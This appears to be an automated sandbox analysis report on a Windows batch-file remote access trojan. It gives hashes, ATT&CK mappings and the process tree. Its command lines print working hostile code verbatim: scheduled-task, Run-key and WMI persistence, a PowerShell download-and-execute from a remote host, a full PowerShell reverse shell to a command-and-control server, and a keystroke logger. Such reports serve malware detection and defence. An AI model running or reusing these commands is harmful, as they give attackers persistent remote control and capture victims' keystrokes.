5289cfcab1672469d26ac7351dbbfa38e819aa8be974ee22fdd46a236e770497

Analysis

max time kernel
149s
max time network
116s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
29/05/2026, 01:30

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General

Target
rat_build_335507_014838.bat
Size 4KB
Sample260529-bwt29af12v
SHA256 5289cfcab1672469d26ac7351dbbfa38e819aa8be974ee22fdd46a236e770497
MD5 9b900a836ea9d5c7805ed6fcc6ac1c93
SHA1 017f2c0abae1aaa1ed46b0cd53ba07a7ae5f78c9
SHA512 c9461eb166ad21b0f00893ec145791e1269d4d12e05ddc9ea728e9a6e61450d8739f39ceb5bf61ac872d21cc131bd7b32a824ad1f632c414c17c70670cb2be44
SSDEEP 96:6I+HW7yfMPT+q1JlmyCzA9I1f38o6qtUs2Uf5jgllp1iFgZk8mvlo1aC3I:6U7yfi1J246/8I5ja1iFgkHlNC3I
TLSH
T100A1FA176B93712096F12214CA333C48576CF9FB2700C58DFA4DDDE44A4EA47A2596FB
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_335507.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
980	powershell.exe
3912	powershell.exe
3812	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1679180529-4058988202-686829476-1000\Software\Microsoft\Windows\CurrentVersion\Run\Updater_335507 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_335507.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
3468	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
1612	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1604	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3432	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
3912	powershell.exe
3912	powershell.exe
3812	powershell.exe
3812	powershell.exe
980	powershell.exe
980	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	3716	WMIC.exe
Token: SeSecurityPrivilege	3716	WMIC.exe
Token: SeTakeOwnershipPrivilege	3716	WMIC.exe
Token: SeLoadDriverPrivilege	3716	WMIC.exe
Token: SeSystemProfilePrivilege	3716	WMIC.exe
Token: SeSystemtimePrivilege	3716	WMIC.exe
Token: SeProfSingleProcessPrivilege	3716	WMIC.exe
Token: SeIncBasePriorityPrivilege	3716	WMIC.exe
Token: SeCreatePagefilePrivilege	3716	WMIC.exe
Token: SeBackupPrivilege	3716	WMIC.exe
Token: SeRestorePrivilege	3716	WMIC.exe
Token: SeShutdownPrivilege	3716	WMIC.exe
Token: SeDebugPrivilege	3716	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3716	WMIC.exe
Token: SeRemoteShutdownPrivilege	3716	WMIC.exe
Token: SeUndockPrivilege	3716	WMIC.exe
Token: SeManageVolumePrivilege	3716	WMIC.exe
Token: 33	3716	WMIC.exe
Token: 34	3716	WMIC.exe
Token: 35	3716	WMIC.exe
Token: 36	3716	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3716	WMIC.exe
Token: SeSecurityPrivilege	3716	WMIC.exe
Token: SeTakeOwnershipPrivilege	3716	WMIC.exe
Token: SeLoadDriverPrivilege	3716	WMIC.exe
Token: SeSystemProfilePrivilege	3716	WMIC.exe
Token: SeSystemtimePrivilege	3716	WMIC.exe
Token: SeProfSingleProcessPrivilege	3716	WMIC.exe
Token: SeIncBasePriorityPrivilege	3716	WMIC.exe
Token: SeCreatePagefilePrivilege	3716	WMIC.exe
Token: SeBackupPrivilege	3716	WMIC.exe
Token: SeRestorePrivilege	3716	WMIC.exe
Token: SeShutdownPrivilege	3716	WMIC.exe
Token: SeDebugPrivilege	3716	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3716	WMIC.exe
Token: SeRemoteShutdownPrivilege	3716	WMIC.exe
Token: SeUndockPrivilege	3716	WMIC.exe
Token: SeManageVolumePrivilege	3716	WMIC.exe
Token: 33	3716	WMIC.exe
Token: 34	3716	WMIC.exe
Token: 35	3716	WMIC.exe
Token: 36	3716	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2860	WMIC.exe
Token: SeSecurityPrivilege	2860	WMIC.exe
Token: SeTakeOwnershipPrivilege	2860	WMIC.exe
Token: SeLoadDriverPrivilege	2860	WMIC.exe
Token: SeSystemProfilePrivilege	2860	WMIC.exe
Token: SeSystemtimePrivilege	2860	WMIC.exe
Token: SeProfSingleProcessPrivilege	2860	WMIC.exe
Token: SeIncBasePriorityPrivilege	2860	WMIC.exe
Token: SeCreatePagefilePrivilege	2860	WMIC.exe
Token: SeBackupPrivilege	2860	WMIC.exe
Token: SeRestorePrivilege	2860	WMIC.exe
Token: SeShutdownPrivilege	2860	WMIC.exe
Token: SeDebugPrivilege	2860	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2860	WMIC.exe
Token: SeRemoteShutdownPrivilege	2860	WMIC.exe
Token: SeUndockPrivilege	2860	WMIC.exe
Token: SeManageVolumePrivilege	2860	WMIC.exe
Token: 33	2860	WMIC.exe
Token: 34	2860	WMIC.exe
Token: 35	2860	WMIC.exe
Token: 36	2860	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2860	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 1492 wrote to memory of 3432	1492	cmd.exe	83
PID 1492 wrote to memory of 1604	1492	cmd.exe	84
PID 1492 wrote to memory of 3716	1492	cmd.exe	85
PID 1492 wrote to memory of 2860	1492	cmd.exe	86
PID 1492 wrote to memory of 2608	1492	cmd.exe	87
PID 1492 wrote to memory of 1612	1492	cmd.exe	92
PID 1492 wrote to memory of 3468	1492	cmd.exe	95
PID 1492 wrote to memory of 3912	1492	cmd.exe	96
PID 1492 wrote to memory of 3812	1492	cmd.exe	97
PID 1492 wrote to memory of 980	1492	cmd.exe	98

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_335507_014838.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1492
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_335507" /tr "C:\Users\Admin\AppData\Local\Temp\_335507.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3432
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_335507" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_335507.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:1604
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_335507", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3716
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_335507", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_335507.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2860
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_335507.txt
  2⤵
  PID:2608
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:1612
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:3468
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_335507.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3912
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3812
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:980

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2
MD5 5f4c933102a824f41e258078e34165a7
SHA1 d2f9e997b2465d3ae7d91dad8d99b77a2332b6ee
SHA512 a7556b2be1a69dbc1f7ff4c1c25581a28cb885c7e1116632c535fee5facaa99067bcead8f02499980f1d999810157d0fc2f9e45c200dee7d379907ef98a6f034
TLSH
T15651CF323375B1D489163F07192C59C463BF8355FA94AF4CB698624ED92700B9F222F3
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 fd949ff64bc93b6bcff447de4f7307dbd4cfb391faf81efe2a845f8349d9b10c
MD5 8a9ce637f47cb4acdbef782b0c075292
SHA1 61c4f0209f159fae19220a78c4428848c90d0e01
SHA512 6452ea5fff0d3139dd61de41cb37738a228bd13f7b039aa519acb8ab5f2084c10473415f0d3631a68829e81da3dc6018e37cff3618c48ae358c9a94fa91eb122
TLSH
T1B7117A33B79CC134C8D9117A108DAD01B2B5C3CB049EDE8B7A84C508E57F58ADB641E4
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 7e344a02aae42133876f5200c5df646a1fb7716951a4fe793fea349535f126bd
MD5 79241d151e8111f92c84488af689f1c5
SHA1 4cdeaacbed8a139efa7b2b3203f59a04a95066ec
SHA512 d234ad8e227c6227d6f6aafdc518bbd0a4ff72c23e00e4ee10e586aac3d22bc8b6e828dbcb76dbba362b88f6843946cd70707cab6de34fb11d3db368b5ad95de
TLSH
T152115733B79CC574C8D5157A1089AD11B2B6C3CB049EDECB7A84C508E57F5CADF641A4
MD5 SHA1 SHA512 TLSH

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__PSScriptPolicyTest_45z3tvqd.dsr.psm1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_45z3tvqd.dsr.psm1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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memory/3912-3-0x000001D6F6E10000-0x000001D6F6E32000-memory.dmp

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